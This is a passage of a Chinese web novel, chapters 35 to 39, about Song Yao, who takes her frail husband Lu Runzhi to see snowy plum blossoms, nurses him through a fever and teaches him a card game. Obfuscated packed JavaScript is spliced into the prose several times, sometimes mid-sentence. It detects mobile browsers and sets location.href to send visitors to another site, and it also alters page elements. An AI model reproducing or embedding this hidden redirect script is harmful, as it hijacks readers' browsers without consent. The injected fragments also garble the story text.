青连这么说,宋瑶可不这么认为,对陆润之来说,在书房待着恐怕是最大的乐趣。 天色尚早。 宋瑶歪在榻上,惬意地嗑着瓜子,欣赏着桌上被修剪得十分好看的红梅,前些日子,她便注意到房间的布置发生了变化,只是忙得脚不沾地,眼下才仔细端详。 若说之前两人的房间像是随时可以搬走的旅社,现在更像是卧室,那开得正艳的红梅,更添了几分生机。 正值年关,大雪总是特别多,瑞雪兆丰年。 宋瑶瞧着这红梅,生起了几分雅致,想去梅园看看。 正这么想着,房门打开,冷风钻进来,宋瑶打了个寒颤,看向门口,便瞧见陆润之披着月白大氅,发丝上沾了几篇飘落的雪花,翩翩出尘,像是要与这洁白融为一体。 宋瑶眼中溢满了笑意,歪在榻上,像街上的纨绔女般,朝他吹了个口哨,“这位公子,怎地来了我的房间,莫不是走错了门?” 青连接过陆润之的大氅,识趣地退了出去,公子可是听到宋瑶回来,这才回屋的。 陆润之轻飘飘地扫了她一眼。 宋瑶眼中的笑意更深。 陆润之倒了杯茶,坐到了她对面,“今日怎么回来这么早。” “下大雪,外面没什么,我叫伙计早早地回去,夫郎孩子热炕头了。”宋瑶伸了个懒腰,坐直身体,“你的文章写完了?” 陆润之摇摇头,“没写文章。” 宋瑶拿了果盘中核桃,随意问道:“那在做什么?” 陆润之:“在作画。” 宋瑶挑眉,她倒是忘了,她娶的这位夫郎可是琴棋书画样样精通,“画完了吗?” 陆润之“嗯”了一声。 宋瑶将剥好的核桃仁推到他面前。 陆润之接过,看着她的眼睛,“你不问问画的什么,给谁画的吗?”她好像总是不好奇。 宋瑶有些意外,玩笑道:“你既然告诉我你在作画,肯定不是给我的,既然不是给我的,我问了,岂不是显得我很可怜。” 她瞥了瞥嘴,语气酸酸的,还有些委屈,倒叫陆润之忍俊不禁,“你少贫。” 宋瑶从善如流,“所以你给谁画的?” 陆润之看着窗外纷纷扬扬落下的大雪,语气有些缥缈,“给我父亲画的。” 宋瑶一顿,他父亲好像早已经过世了。 陆润之收回视线,对她道:“七日后,便是我爹爹的忌日,你与我一道去,可以吗?” 如此彬彬有礼的小公子,原主怎么会认为他高高在上呢。 “当然。”宋瑶一边应道,一边腹诽,青连真不靠谱,连他家公子父亲的忌日都不记得。 其实这还真怪不得青连,虽然宋瑶和陆润之的关系好了起来,但他也摸不准,丞相大人和公子心里是否真正接受了宋瑶,万一他告知了宋瑶,届时去祭奠时未带上宋瑶,岂不是好心办坏事。 “爹爹走那年,我才刚记事,只记得他握着我的手,偷偷教我画画,那时我还小,连笔都握不好,竹子都画得歪歪扭扭。”陆润之说起的时候,目光中流露出怀念,嘴角噙着淡淡的笑容。 宋瑶骄傲道:“若岳父大人知道我家夫郎出落得惊艳才绝,琴棋书画样样精通,还嫁了一个如意妻君,一定会非常开心。” 陆润之她的话逗笑。 若是父亲知道他嫁得一个会为他的才情感到骄傲的女子,会开心的。 陆润之抿了一口热茶。 宋瑶拉住他的手,捏了捏他纤细好看的指节,“难得今日得闲,我们去踏雪赏梅吧。” 征得夫郎同意后,她便将人裹得厚厚实实,塞了汤婆子,又给他披上大氅,带着人去了梅园。 家中有钱的好处就是,即使在这京城寸土寸金的地方,也能在宅子里辟出一处梅园,据说这梅花还是名贵品种,价值不菲。 梅园中,大片红梅破雪而出,花瓣衔冰,风过时簌簌落白,卷起阵阵冷香。 这会儿雪倒下得小了些,宋瑶撑着伞,揽着陆润之来到梅园的亭中,入眼的美景着实惊艳,在一片冰雪天地中,红白相映,让她这个俗人都一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469495|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想吟诗作对的冲动,奈何里脑子里想起的只有一句“忽如一夜春风来,千树万树梨花开”,用在此时却不太合适。 宋瑶看向身侧的人,见他静静地欣赏着眼前的景色,面容沉静,未着粉黛,气质浑然天成,前世网上见的各种古装男子浓妆在大雪中的摆拍远远不及他的分毫。 “你有没有什么想说的?”宋瑶好奇道。 陆润之疑惑的目光落在她身上。 宋瑶:“比如形容一下眼前的美景什么的。”古代人不是一看到美景就诗兴大发。 陆润之的视线又回到梅园中,在宋瑶期待的目光中,轻轻吐出两个字,“好看。” 宋瑶:“……” 陆润之:“怎么了?” 宋瑶如实道:“我以为你会作一首诗。” 陆润之却笑,“哪有这么多诗可作,我也是俗人一个。” 宋瑶了然,这小公子恐怕是在顾及她这个文盲的面子,索性承了他的好意。 如此美景,又有美人作伴,宋瑶惬意地眯了眯眼,如果能够听他弹奏一曲就更完美了。 宋瑶想附庸风雅,却也记得自家夫郎无比畏寒,只能想想,正当她在心里遗憾的时候,却听到他吩咐青连,“去将我书房里的琴取来。” 青连犹豫,陆润之的目光不容拒绝,他只得照做。 宋瑶惊讶于他似知道自己是怎么想的一样,但是还是劝道:“天气寒冷,我们该回去了,待太久恐怕会着凉。” 这次他却意外坚持,“无妨,我不冷。” 宋瑶坚决不同意。 为了证明,陆润之从大氅中探出手,握了握她的手,眼中带笑,“不是骗你的。”他勾了勾她的小拇指,晃了晃。 宋瑶看着他,眸色深了深,同时心底又隐隐渴望听他弹琴,于是纵容了他这回。 不多时,青连便将琴取来,扫了石桌上的雪,把琴放在上面。 陆润之将汤婆子交给青连,端坐在琴前,拨弄琴弦,试了试音,看向宋瑶,问道:“你想听什么?” 宋瑶坐在亭下的木凳上,脚尖轻晃,笑意盈盈,“都可以。” 陆润之沉吟片刻,纤长的手指放在琴弦上,潺潺的琴音倾泻而出,似高山,似流水,曲至商声处,西风卷起他素白广袖,发丝垂落,飘飘欲仙。 这素白的天地,红艳艳的梅花,都失了颜色。 宋瑶伏在栏杆上,静静地看着他,目光灼灼。 其实她听不懂琴,她看的是他。 陆润之抬眼,触碰到她灼热的目光,指下不小心弹错了一个音,又庆幸她不懂琴,听不出来。 青连在凉亭外面看着他们,脑海里冒出了琴瑟和鸣这个词。 — 雪景很美,夫郎更美,夫郎弹琴的画面一绝。 宋瑶心满意足。 然而,夜晚,夫郎发热了。 36. 第三十六章 第三十六章 当陆润之一曲弹罢,宋瑶去握他的手,发现跟冰块一样,当时她就觉得事情不妙,立刻将人带了回去,命人煮了碗姜汤,看着他喝下去。 晚饭,陆润之没什么食欲,吃了两口便放下筷子,在宋瑶的关切的目光下,又拿起筷子,吃了几口,最后实在吃不下,才作罢。 吃完饭,他的神情有些恹恹的,宋瑶问他有没有不舒服,他只是笑着摇头,叫她不要大惊小怪,他没有那么脆弱。 宋瑶摸了摸他的额头,没有发热,才放下心来,只以为他只是太过疲惫,便叫他早早睡下。 一直到她睡着前,一切都好好的。 半夜,她忽然被一阵动静吵醒,迷迷糊糊睁开了眼,看到他下床,问道:“怎么了?” 陆润之轻声道:“有些口渴。” 宋瑶胡乱点头,困意袭来,又迷迷糊糊睡了过去,还没睡着,她又被人摇醒,便抬眼看去,用眼神询问。 陆润之坐在床边,“我有些不舒服。”说着,他掩唇,咳嗽了两声。 宋瑶的脑子一团浆糊,听到他的话,反应了一会儿,随即一坐而起,困意瞬间消失,目光落在他红得不太正常的脸颊上,伸出摸了摸他的额头,烫的惊人。 宋瑶立刻起身,将人塞进被窝,盖上被子,“我去叫大夫。” 陆润之点头。 宋瑶套上衣服,把青连叫进来伺候,她自己匆忙带了个奴仆,去府外寻找大夫。 府上人口不多,宋母跟宋母一向身体强健,便没在府上请常驻大夫,所幸终于把一位大夫从被窝里请了出来,在银子的驱动下,老大夫任劳任怨地被宋瑶拽着往府中赶,刚下完雪,路面还没来得及清理,老大夫差点摔了个跟头,“哎哟,宋小姐,慢着点,您夫郎一时半会儿不会有事的。” 等到宋瑶终于把老大夫拽回府中,回到房间时,却发觉陆润之的状态更差了,他虚弱地靠在床头,面色苍白,嘴唇毫无血色,闭着双眼,蹙着眉,屋内很暖喝,他的额头却在冒冷汗,似乎很难受。 眼下把宋琼跟李容都惊动了,他俩都在房间内。 李容坐在床边,拿帕子为陆润之擦了擦汗,满眼心疼,他自己身体强健,宋瑶从小也长得结实,还从没遇到过这种情况,看到他这么难受,他心里不由得泛起心疼。 宋瑶刚带着大夫进门,李容立刻起身,对大夫道:“大夫,麻烦您给看看,他正在发高烧,方才还吐了两回,这会儿额头直冒汗。” “欸,来了。”老大夫扶了扶老花镜,不紧不慢地打开药箱,拿了帕子覆在陆润之腕部,细细把脉,半响,收回手。 李容忙问:“怎么样?” 老大夫道:“无甚大碍,只是这位公子体质虚寒,脾胃虚弱,此番寒邪入体,又伤了脾胃,才会如此,老夫写个方子,吃上几日,便无碍了。” 几人闻言,松了一口气。 宋瑶问道:“他平日里手脚总是发凉,可有办法?” 大夫写完方子,交给宋瑶,“少主君体质虚弱,恐怕是少年时伤了底子,日后生活起居多加注意,多食温补之物慢慢调养,切记劳心费神。” 宋瑶接过方子,谢过大夫,付了诊金,命人将大夫送回去。 “这好端端的,怎么会忽然着凉?”李容瞧着陆润之难受的模样,心疼的不行,也害怕被丞相大人知道了,问罪他们。 宋瑶有些自责,“是我下午那会儿,拉着他去梅园,待的久了些。” 李容这才想起下午传来的琴声,“还在那里弹琴了?” 他简直不敢想,那么冷的天气,寒风凛冽,她怎么带着自己的夫郎在冰天雪地里弹琴,怎么忍心叫他受冻,她一个大女子身强体壮,无所谓,怎么不顾及夫郎的身体。 宋瑶惭愧道:“是。” 李容气得不知道说什么好,站起来点了点她的额头,“你啊。” “父亲……”陆润之难受地睁开双眼,尽力让自己的声音保持平和。 李容忙坐回去,应了一声,“欸,我在。” 陆润之:“不怪宋……妻主,是我贪玩了些,咳……” 他哪里会是贪玩的性子。 李容握住了他的手,冰冰凉凉的,又给他塞回了被子里,“父亲知道了,下次可不能这样了。” 陆润之扯起一抹笑容,点点头,“夜深了,母亲与父亲快回去休息吧,打扰你们了。” 李容拍了拍他的手,“说哪里的话,都是一家人。” 陆润之的眼神暖了暖,还想说什么,却被宋瑶打断了,她实在看不得自己夫郎明明很难受了,还要强撑着应付她爹娘,于是二话不说,把二老轰了出去,“好了好了,娘亲,爹爹,这里有我照顾呢,你们快回去休息吧,已经很晚了。” 李容警告道:“你最好给我照顾好了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480743|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宋瑶压低了声音,“我知道了,知道了。” 终于把人送走了,宋瑶长长地舒了一口气,又回到床边,看着夫郎苍白的脸上,忍不住自责,如果不是她任性,倒不会叫他这么难受。 宋瑶看他难受极了,摸了摸他的头发,轻松问道:“要不要躺下?” 陆润之微微点了点头。 宋瑶便扶着他的身体,让他靠在自己怀里,放下枕头,再轻轻把他放下,给他掖了掖被子,坐在床边守着他。 “抱歉,连累你了。” 他一脸虚弱,声音都小小的,看着宋瑶的眸光含着歉意与自责,因着发烧,眼睛湿漉漉的,像受委屈的小猫。 宋瑶却笑了,没有接他的话,反而道:“难受不难受,难受就别说话了。” 陆润之半阖着眼,身体很难受,脑袋晕晕乎乎的,胃里是不是翻涌,却不会再吐了,吐不出什么东西,这种感觉十分熟悉,小时候经常这样,都是自己熬过去的,为了不让忙碌的母亲担忧,他会笑着说没事,但是眼下有人关心,他却觉得委屈,“难受,睡不着。” 意思就是想说说话。 宋瑶摸了摸他的脸颊,陆润之闭着眼蹭了蹭,真的像小奶猫一样。 “说什么连累的话,要说也该怪我才是。”她道,是她私心,想看雪中美人。 陆润之睁开眼,看到了她眼里的自责与心疼,觉得暖烘烘的,“我对父亲说的是真的。” 宋瑶想了想,他说的是哪一句,应当指的是贪玩。 陆润之闭上眼睛,慢慢地说道:“小时候下大雪在院子里玩,生病了,母亲很生气。” 宋瑶摸了摸他的头,“丞相大人真奇怪,既不娇养你,还要责备你生病。” “她很过分。”陆润之竟然点点头,语气有些委屈。 这怕不是烧糊涂了,平日他哪里会说这些话。 宋瑶笑了,“是的。” 陆润之看着她,“我生病了,很难照顾吗?” 宋瑶点点头,“是有些。” 陆润之睁大了眼睛,眼尾有些红,随即别开眼睛,难过道:“哪里难照顾了?” 宋瑶的手伸进被窝,握住他的手,“不哭不闹,安安静静的,也不早些说自己难受,叫人没有早点发现。” 若不是忍不下去,恐怕都不会告诉她。 陆润之忍不住勾起唇,“我又不是小孩子了。” 37. 第三十七章 第三十七章 只有小孩子才会说这种话。 宋瑶笑了笑。 青连端着药碗进来,他的眼圈红红的,像是哭过了,公子的身体一向不好,以往生病总是得闹上个大半月。 黑乎乎的一碗药,冒着热气,散发着苦涩的味道。 宋瑶将陆润之扶起来,让他靠在自己怀中,问道:“怕苦吗?” 陆润之没说话,端起药碗,一饮而尽,连眉头都不曾皱一下,喝完后还看向宋瑶,眼中有些小得意。 宋瑶忍俊不禁,赞赏了一句,“子澈真棒!” 她这哄小孩的语气,倒是叫陆润之红了脸,忍不住将脸埋进宋瑶怀中,只露出红红的耳尖。 青连退出去,不小心看到公子的动作,有些惊讶,他印象中,公子从来没有这样撒娇的动作,当然也有可能是,没有撒娇的对象。 现在有人关心公子,纵容公子,青连的眼眶有些湿润,又觉得很欣慰。 房间中只剩下宋瑶和陆润之二人。 陆润之还埋在她怀中,像只粘人的猫咪,大概是生病的缘故,宋瑶心道,轻轻地拍着他的背部。 陆润之埋在她怀中,嗅着她身上独特的山茶花的味道,背上被轻轻拍着,很安心很安心。 这寒冷的夜啊,终于不再是他一个人喝着苦涩的药,在冰冷的房间中,独自捱过。 以前总不觉得什么,现在有人关心了,反倒觉得委屈。 她总给他一种感觉,可以放肆一点,再放肆一点。 陆润之在她怀里,环住她的腰,调整了下姿势。 宋瑶任由他在自己怀里翻腾,配合他调整坐姿,好让他舒服一点,接着浑身一顿,腰侧传来一阵痒意,她忍不住笑出声,抓住始作俑者的手,握住,轻声说了句,“别闹。” 不过他有心情同她闹,就说明没有很难受,现在看着也好多了,刚进门那会儿,真是吓了她一跳。 他生病的时候,好像格外粘她。 挺好。 “我有点难受。”陆润之这会儿缓过来了,总觉得出了一身汗,像从水里捞出来一样,浑身难受。 宋瑶放在他背上的手一顿,“哪里难受?” 陆润之抬起眼看她,“我想洗澡。” 一个人的时候,他断然不会提出这种任性无理的要求。 他眼睛红红的,湿漉漉的,领口处的衣襟半敞,露出精致的锁骨,淡淡的唇色,眼角微红,就这么从她怀中抬起脸,望着她,有种该死的绝美破碎感,令她想起那个清醒的早晨,叫人想狠狠欺负他一番。 宋瑶闭了闭眼睛,驱散脑海中不该有的画面,心中唾骂自己禽兽,且不说二人前路未卜,眼下人家生病怎么能生成这样的心思! “怎么不说话?”陆润之拉了拉她的衣袖。 宋瑶睁开眼睛,眸色微深,将他的衣衫合了合,“你病着呢。” 陆润之不依不饶,“可是我好难受。” 宋瑶绷着脸,“难受也不行。” “好吧。”陆润之的脸贴在她的胸口,手指抓住她的衣服,“宋瑶,你的心跳怎么这么快?” 说着他的手心张开,贴在她的胸口处,感受着她愈发加快的心跳。 手心的灼热温度传来,几乎要烫到她的胸口,宋瑶抓住他的手,声线喑哑,“别乱动。” 若不是他病着,脑袋昏沉,她真的怀疑他是故意的了。 陆润之似乎察觉到什么,不敢再乱动,半响,他坚持道:“可是我真的很难受。 宋瑶这才察觉到他的里衣有些微湿,“换件寝衣吧?” 陆润之点点头。 宋瑶将人塞进被窝,逃离似的走向衣柜,不由得长舒一口气。 陆润之枕着胳膊,看着她有些慌乱的背影,眼中闪过一抹笑意。 宋瑶找了一件新的寝衣递给他。 陆润之看着她,“我没有力气。” 宋瑶手一顿,看向他的眼睛,分辨他是故意的还是有意的,然而只见他眼中一片迷蒙,像是蒙了一层雾气,令人看不清。 “没有力气。” 宋瑶缓慢地重复了这几个字,似笑非笑,接着欺身而上,撑着胳膊,覆在他身上,一手搭上他的肩膀,手指压在他轻颤的喉结上,温热的呼吸洒在他脸上,她轻声道:“那是想让为妻帮你换?” 陆润之不自觉睁大眼睛,瞳孔微微放大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484953|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,身体轻颤,无措地抵住她的胸口,心跳如擂鼓,他有些害怕,忍不住躲进被窝,只露出一双漂亮的眼睛,惊慌道:“不……我自己来就行。” 宋瑶却不依不饶,挑起他铺了满枕的一丝乌发,“真的可以吗?” 陆润之点头,一手推开她,“可以。” 宋瑶喉咙里溢出一声轻笑,起身。 陆润之看着她,“你背过去。” 宋瑶挑眉,眼中笑意更盛,依照他说的,背过身。 胆小鬼。 也不知是谁方才说没有力气。 窸窸窣窣的声音传来,半响,才传来他的声音,“好了。” 宋瑶转过身,只见他已经埋进被窝,背对着她,一动不动,装睡。 宋瑶笑了笑,也没拆穿他,拿起他的换下的衣服,放在一边,随即熄了蜡烛,躺在他身侧,伸出胳膊,隔着被子揽着他,有一搭没一搭地拍着,“快睡吧,有事记得叫我。” 陆润之的一颗心忽然安定下来,感受着身边人的气息,慢慢地睡去。 一觉睡到自然醒,浑身舒坦。 身侧的人早已经离开,被窝都是温凉的,陆润之眼中滑过一抹失落,想到昨晚自己做了什么大胆的事情,耳尖微红。 “醒了?” 清亮的声线,是熟悉的声音。 陆润之起身望去,只见那人歪在榻上,跟往常一样,笑意盈盈地看着他,不同的是,她竟然在看书,真是稀奇,见他醒来,她走过来,手掌贴在他额头上。 “嗯,不发热了。”宋瑶松了一口气。 陆润之有些怔忪,“你没走?” 宋瑶挑眉,“去哪里?” 看到她,陆润之的心情陡然变好,“外出。” “自然是在家陪你。”宋瑶坦坦荡荡承认了,过阵子可能又要忙起来了,随即问道:“还有没有什么不舒服?” 陆润之摇摇头,随即又点点头,“还是有些犯恶心,没什么胃口。” 宋瑶:“大夫说了,这是正常的,还是得继续吃药。” 陆润之点头,以往他生病,第二天总是非常难受,这次好很多。 她能在家,总是开心的。 38、第三十八章 第三十八章 下了一夜的雪,终于停了,外面白茫茫的一片。 陆润之起床后,简单吃了个早餐,本想着叫青连把书房的笔墨搬到房间内,却又觉得宋瑶特地请了一天假来陪他,这么做似乎有些不妥,于是便歇了心思。 宋瑶命人将炭火烧得更旺了些,房间内犹如暖春,冬天的衣服缠着有些热,她索性着了单衣,歪在榻上,开了窗户,看着外面白雪皑皑,生出了堆雪人的心思,但是一想到人在房间里病着,她自己出去玩,怪不够意思,索性作罢。 宋瑶不由得露出遗憾的神色,正巧被陆润之捕捉到。 即使在温暖如春的房间中,陆润之依旧裹得严严实实,与宋瑶截然不同。 宋瑶瞧了一眼,这个世界的男子相对体弱一些,看来以后要更加仔细养着,不如请个府上常驻大夫,专门来给他调理身体。 陆润之倒了一杯茶给她。 宋瑶接过,道了声谢,顺便叮嘱道:“你肠胃不适,少饮茶。” 陆润之眼中滑过一丝笑意,“无碍,我心中有数。” 宋瑶挑眉,没与他争辩,只是伸出手,在桌上点了点,然后朝他摊开手。 陆润之装作不懂。 “别装不懂,快点。”宋瑶催促,一点都不惯着他。 陆润之抿唇,将手里的茶杯递给了她。 宋瑶面前摆了两杯茶,霸道地说:“这两天不许饮茶。” 陆润之也不生气,只是笑意盈盈看着她,道:“这位女君好生霸道。” 宋瑶晃了晃神,总觉得近来他的笑容多了些,就像此时,虽然脸色微微苍白,一双眼睛却亮得惊人,叫她不由得想起初见他时,那双漂亮的眸子平静无波,犹如古潭,深不见底,一点都不似少年人,如今倒是多了几分生气。 她隐约记得,当时他还唤她妻君,如今却没听他再唤过了。 宋瑶呷了一口茶,正色道:“没错,本女君就是这般霸道的人。” 陆润之被她逗笑。 此时青连端着一碗药过来,道:“公子,吃药了。” 宋瑶瞧着那黑乎乎的药,就觉得口中发苦,而陆润之却眉头都不曾皱一下,端起碗一饮而尽,像是喝水一般,甚至还透着一丝潇洒豪迈,好看的人做什么事都好看。 应当是苦的,平日里他喝水都没有这样快。 陆润之放下碗,拿起帕子擦了擦嘴角。 宋瑶转了一下眼珠子,明知故问:“苦吗?” 陆润之摇摇头,“不苦。” 宋瑶狐疑,“真的假的?” 陆润之正色,“真的。” 宋瑶探身朝碗中看了看,捕捉到他眼中一闪而过的狡黠,想尝一尝的心思又歇下来,她又靠回去,笃定道:“你定是诓我,闻着就苦。” 陆润之眨了眨眼,“你既是知道,为何还要问我。” 宋瑶:“……” 好啊,故意的。 青连在一旁瞧着这两个人的互动,不由得露出笑容,这两人的相处跟小孩子一样,倒是有几分少年夫妻的活泼。 “你若是想出去玩雪,便去吧。”陆润之对她道。 宋瑶眼中闪过一丝讶异,惊讶于他竟然察觉到她一闪而过的想法,当真是玲珑心思,她坦诚道:“我一个人去玩雪,让你一个人在屋里,多不好。” 清浅的笑意划过他的眼底,陆润之道:“可若是让你无聊地陪着我,多不好。” 宋瑶对上他的视线,眼中漾开笑意,“怎会,光瞧着你我就不无聊。” 她的眼睛是多情的桃花眼,当温柔笑着看着你的时候,便会让人觉得她满心满眼都是你,让人不自觉怔忪。 陆润之怔了怔,目光避开她的视线,下意识地想呷口茶,却发觉杯子在她那边,一时便在她专注的目光下不知所措,放在袖中的手指不自觉捏紧。 好想欺负。 宋瑶觉得心头有些痒,喝了口水,还是没有压住心中的躁意。 “今日想做什么?”宋瑶放下水杯,问他。 之前她这么问,陆润之会认真考虑,但现在却觉得她这么问,多半是有什么想法,并且不是下棋,于是问道:“你想玩什么?” 他猜得没错,宋瑶这么问,确实是已经想好要带着他玩什么,她坐起身,变戏法似的,不知从哪里摸出一盒什么东西,打开一看,里面是一摞硬硬的纸片。 在陆润之疑惑的目光中,宋瑶倒出那摞纸片,对他道:“这叫叶子牌,因为长得像叶子。” 接着她抽出几张牌一一摆在茶几上,讲解规则,“这摞牌一共有五十四张,从数字一到十,再加上三个字母,不同的花色,分别有四张,两张特殊牌,牌面大小顺序则按照特殊牌、二、一、字母牌、十、九、八、七、六、五、四、三、二、一的顺序,可单张牌出,也可以两张或者三张相同的牌一起。” 陆润之点点头,规则很简单,“若是我们两个人玩的话,未免无趣。” 若是两个人玩,彼此都很清楚对方手里拿的什么类型的牌。 “聪明。”宋瑶夸赞道,她说一步,他已经想到了十步。 陆润之来了兴趣,“不如叫青连一起。” 宋瑶:“不用,我们两个人有两个人的玩法。” 若是叫了青连,怎么欺负他。 宋瑶将纸牌均分为六摞,分别在他和自己面前放了三摞,再将每一摞最上面的纸牌掀开。 “现在我们分别拥有三张已知的牌。”宋瑶抽出一张黑桃三,“现在我拿出这张,你可以拿一张比我牌面大的。” 陆润之拿了一张朱砂色的红心十。 宋瑶手一顿,看来他掌握的非常快,她还没有说明,他没有用手里的梅花五,而是选择了红桃十。 陆润之已经猜到了怎么玩,“那么现在我可以再任意翻开一张?” 宋瑶:“没错。” 陆润之翻开一张牌。 宋瑶:“规则就是这样,最后谁的牌先打完,谁就赢了,赢方可以指定输家做一件小事或者回答一个问题。” 陆润之:“可。”显然他对这纸牌游戏来了兴趣。 陆润之对于她说的规则可以说是举一反三,两个来回后已经上手了。 第一局,宋瑶凭借经验险胜。 陆润之愿赌服输,正色道:“你说,叫我做什么。” 宋瑶含笑的目光看着他,拉长了语调,“叫我一声妻君。” 陆润之抬眼,撞上她含笑的眼眸,没有躲避,果断地叫了一声,“妻君。” 宋瑶:…… 这似乎与她想象中,夫郎含羞带怯叫她妻主的场面不一样。 陆润之已经收起了叶子牌,提议道:“我觉得首先可以随即分成两份,然后各自再将自己的牌分为三份,这样主动权更大。” 他看着她,眼底是毫不掩饰地好胜。 宋瑶:…… 她真的只是想简单地玩个牌调个情。 怎么还把夫郎的好胜心激起来了。 39、第三十九章 第三十九章 事态的发展出乎宋瑶的意料。 最后,她还是按照夫郎的提议,开放了游戏的权限,如此一来,游戏的可掌控性放开来。 瞧着夫郎眼中的好胜快要溢出来,宋瑶想着让一让他,毕竟她前世将这种游戏摸了个透彻,怎么玩对她来说都大差不差,即使看牌,她也能预料到彼此手中的牌是什么,且有应对之策,谁料夫郎太过聪明,根本不需要她让。 第二局,宋瑶走神,陆润之赢。 他眼中的漾开层层笑意,熠熠发光,夺目逼人,“我赢了。” 宋瑶晃了晃神,随即跟着他的笑容也笑开,夸赞道:“你很聪明,现在你可以指挥我做一件事,或者回答一个问题。” 陆润之放在桌上的手指轻轻敲了敲,思索片刻,问道:“你觉得人性本善,还是任性本恶。” …… 宋瑶喝了一口水,差点呛到,游戏的画风逐渐被夫郎带偏,如此具有哲学性的问题,她真的不想动脑子,谢谢。 “我信奉性恶论。”宋瑶飞速道,愿赌服输。 陆润之看着她问道:“为什么?” 看这架势,是想跟她深入探讨了,但是宋瑶真的不想动脑子,于是道:“只能回答一个问题。” 陆润之点点头,倒也没有纠缠,下一局再赢她,接着问就是了。 很巧,宋瑶也是这么想的。 第三局,宋瑶赢了。 陆润之:“现在你可以指挥我做一件事,或者回答一个问题。” 在试图把游戏的画风拉回来和让夫郎不要再纠结刚刚的问题上面,宋瑶选择了后者,“后面你赢的话,不能再深入问我你刚才问过的问题。” 陆润之无异议,“可以。” 他一向愿赌服输,很爽快。 宋瑶松了一口气。 第四局游戏开始,陆润之已经掌握了技巧,跟宋瑶拼的就是智力。 在回答夫郎的哲学问题和费脑子赢夫郎之间,宋瑶同样选择了后者,她不想动脑子,反正夫郎也想赢,于是就偷偷放水,叫陆润之赢了这一局。 宋瑶看着他。 陆润之放下纸牌,认真地对她道:“后面不能放水。” 陆润之十分清楚,他这个妻君很聪明,但是不喜欢动脑子。 宋瑶:“……” 他家夫郎什么时候变成她肚子里的蛔虫了。 于是后面宋瑶只能动动她快生锈的脑瓜子,认真玩游戏。 反正最后是她想改变游戏的画风,但是有心无力,叫夫郎叫妻君,他非常果断地叫了,叫他给自己挽头发,也做了,总之是一心扑在游戏上,毫无旖旎之情。 二人棋逢对手,输赢对半。 倒是宋瑶被拉着回答了很多哲学问题。 将近中午的时候,宋瑶觉得自己的脑细胞都要死掉了,终于叫停了。 陆润之主动给她倒了杯茶,眼中多了几分感激与崇拜,“今天收获良多。” 宋瑶懵懵地接过杯子,意外获得了夫郎的崇拜。 谁知道,她家夫郎竟然是个智性恋。 只是后面可不能轻易教他什么小游戏,不然会被带偏,宋瑶心中暗道。 最后一局,宋瑶用上了全部心眼子,终于赢了夫郎。 只为让夫郎答应自己的要求—— “中午陪我睡午觉。” 陆润之点头答应。 接近午饭时,李容那边来人了,叫宋瑶妻夫二人去主院吃午饭,碰巧今日宋琼也在家,刚好一家人团聚。 宋瑶却皱起眉头道:“母亲和父亲不知道你还病着吗?外面这么冷。”于是对下人道:“你去替我回绝了,就说我们已经在吃了。” 陆润之却道:“无碍,现在外面没风,多穿些就好了。” 下人有些为难。 这次,宋瑶却很坚持,觉得他就像是温室里的玫瑰花,经不得风吹雪落,于是坚持回绝了。 陆润之知道她的好意,只是叹息,“总是这么做,倒是叫母亲父亲觉得我在摆架子了。” 宋瑶挑眉,反问道:“怎么,你丞相府的公子还不能摆架子了?” 哪有这样教导夫郎的。 陆润之笑,顿了一下,挥了挥手,对那下人淡淡道:“你去吧,且说我尚在病中,没有胃口,不便陪母亲父亲用餐。” 他这么一端着架子,举手投足之间,不怒自威。 下人诚惶诚恐,“是,少主君。” 宋瑶笑,调侃道:“这位公子好生气派。” 陆润之睨了她一眼,“休得放肆。” 宋瑶握住他的手,笑完了腰。 吃过午饭,宋瑶看着陆润之喝完药,拉着人散步,走了半个时辰消消食,才开始午休。 陆润之没有午休的习惯,躺在里侧,睁着眼睛,宋瑶隔着被子揽着他,对他说道:“半个时辰后,记得叫醒我,不然睡多了难受。” 陆润之点点头。 宋瑶很快就睡了过去。 陆润之躺在床上,四周都是暖烘烘的,他看了一眼身侧的人,说是陪她睡觉,还真是就陪她睡觉,她也不管他睡不睡得着。 一开始,他就觉得她有点粘人,只要两人独处,她必定会缠着他聊天,或者做点别的。 前阵子,她忙别的,才让他有种若即若离的错觉。 今天又觉得十分安心,她还是粘着他的。 陆润之想到以前好友说的,女之耽兮,犹可脱也,可能天下女子都是如此,但是他家这个,好像有些不一样。 掐着时间,半个时辰到后,陆润之摇醒了宋瑶。 “起床了。” 宋瑶嗯了一声,接着隔着被子,抱紧他,又蹭了蹭,然后没了动静,竟又要睡过去。 陆润之抽出手,推了推她,“快点起来,不然睡太久不舒服。” 宋瑶这才松开他,在被窝里翻了个身,又大大地伸了一个懒腰,看向陆润之,眼中盛满了笑意。 冬日。 午休醒来。 看到大美人夫郎。 很爽! 